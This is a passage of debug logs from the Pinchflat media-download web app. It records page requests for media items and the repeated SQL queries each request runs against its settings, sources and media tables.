"settings" AS s0 LIMIT 1 [] 18:56:15.141 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.141 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.141 [info] Sent 200 in 3ms 18:56:15.142 [debug] QUERY OK source="settings" db=0.3ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.142 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.143 [info] Sent 200 in 4ms 18:56:15.218 [info] GET /sources/2/media/769/edit 18:56:15.218 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "769", "source_id" => "2"} Pipelines: [:browser] 18:56:15.219 [debug] QUERY OK source="media_items" db=0.3ms idle=77.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [769] 18:56:15.219 [debug] QUERY OK source="settings" db=0.1ms idle=78.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.220 [debug] QUERY OK source="settings" db=0.2ms idle=78.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.220 [debug] QUERY OK source="settings" db=0.2ms idle=78.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.221 [info] Sent 200 in 3ms 18:56:15.260 [info] GET /sources/2/media/367 18:56:15.260 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "367", "source_id" => "2"} Pipelines: [:browser] 18:56:15.261 [debug] QUERY OK source="media_items" db=0.2ms idle=118.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [367] 18:56:15.261 [debug] QUERY OK source="tasks" db=0.2ms idle=42.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [367] 18:56:15.261 [debug] QUERY OK source="sources" db=0.2ms idle=41.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.262 [debug] QUERY OK source="settings" db=0.1ms idle=41.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.262 [debug] QUERY OK source="settings" db=0.0ms idle=41.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.262 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.263 [info] GET /sources/2/media/367/edit 18:56:15.263 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "367", "source_id" => "2"} Pipelines: [:browser] 18:56:15.263 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.264 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [367] 18:56:15.264 [debug] QUERY OK source="settings" db=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.265 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.265 [info] Sent 200 in 5ms 18:56:15.265 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.266 [info] Sent 200 in 3ms 18:56:15.324 [info] GET /sources/2/media/368 18:56:15.324 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "368", "source_id" => "2"} Pipelines: [:browser] 18:56:15.325 [debug] QUERY OK source="media_items" db=0.2ms idle=61.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [368] 18:56:15.325 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=61.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [368] 18:56:15.326 [debug] QUERY OK source="sources" db=0.4ms idle=60.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.326 [debug] QUERY OK source="settings" db=0.0ms idle=61.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.326 [debug] QUERY OK source="settings" db=0.1ms idle=60.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.327 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.328 [debug] QUERY OK source="media_profiles" db=0.8ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.329 [info] Sent 200 in 5ms 18:56:15.373 [info] GET /sources/2/media/368/edit 18:56:15.373 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "368", "source_id" => "2"} Pipelines: [:browser] 18:56:15.373 [debug] QUERY OK source="media_items" db=0.2ms idle=47.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [368] 18:56:15.374 [debug] QUERY OK source="settings" db=0.0ms idle=47.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.374 [debug] QUERY OK source="settings" db=0.1ms idle=47.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.375 [info] GET /sources/2/media/770 18:56:15.375 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "770", "source_id" => "2"} Pipelines: [:browser] 18:56:15.375 [debug] QUERY OK source="settings" db=0.1ms idle=47.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.375 [debug] QUERY OK source="media_items" db=0.2ms idle=46.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [770] 18:56:15.375 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [770] 18:56:15.376 [debug] QUERY OK source="sources" db=0.3ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.376 [info] Sent 200 in 3ms 18:56:15.376 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.376 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.377 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.377 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.378 [info] Sent 200 in 3ms 18:56:15.506 [info] GET /sources/2/media/770/edit 18:56:15.506 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "770", "source_id" => "2"} Pipelines: [:browser] 18:56:15.507 [debug] QUERY OK source="media_items" db=0.1ms idle=131.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [770] 18:56:15.507 [debug] QUERY OK source="settings" db=0.1ms idle=131.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.508 [debug] QUERY OK source="settings" db=0.1ms idle=130.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.508 [debug] QUERY OK source="settings" db=0.1ms idle=131.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.509 [info] Sent 200 in 2ms 18:56:15.577 [info] GET /sources/2/media/369 18:56:15.577 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "369", "source_id" => "2"} Pipelines: [:browser] 18:56:15.578 [debug] QUERY OK source="media_items" db=0.1ms idle=70.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [369] 18:56:15.579 [debug] QUERY OK source="tasks" db=0.3ms idle=71.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [369] 18:56:15.579 [info] GET /sources/2/media/369/edit 18:56:15.579 [debug] QUERY OK source="sources" db=0.4ms idle=70.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.579 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "369", "source_id" => "2"} Pipelines: [:browser] 18:56:15.579 [debug] QUERY OK source="media_items" db=0.2ms idle=71.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [369] 18:56:15.580 [debug] QUERY OK source="settings" db=0.5ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.580 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.580 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.580 [debug] QUERY OK source="settings" db=0.4ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.581 [debug] QUERY OK source="settings" db=0.4ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.581 [debug] QUERY OK source="settings" db=0.5ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.582 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.583 [info] Sent 200 in 3ms 18:56:15.584 [info] Sent 200 in 6ms 18:56:15.608 [info] GET /sources/2/media/771 18:56:15.609 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "771", "source_id" => "2"} Pipelines: [:browser] 18:56:15.609 [debug] QUERY OK source="media_items" db=0.3ms idle=28.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [771] 18:56:15.610 [debug] QUERY OK source="tasks" db=0.2ms idle=29.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [771] 18:56:15.610 [debug] QUERY OK source="sources" db=0.3ms idle=28.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.611 [debug] QUERY OK source="settings" db=0.1ms idle=29.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.611 [debug] QUERY OK source="settings" db=0.1ms idle=28.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 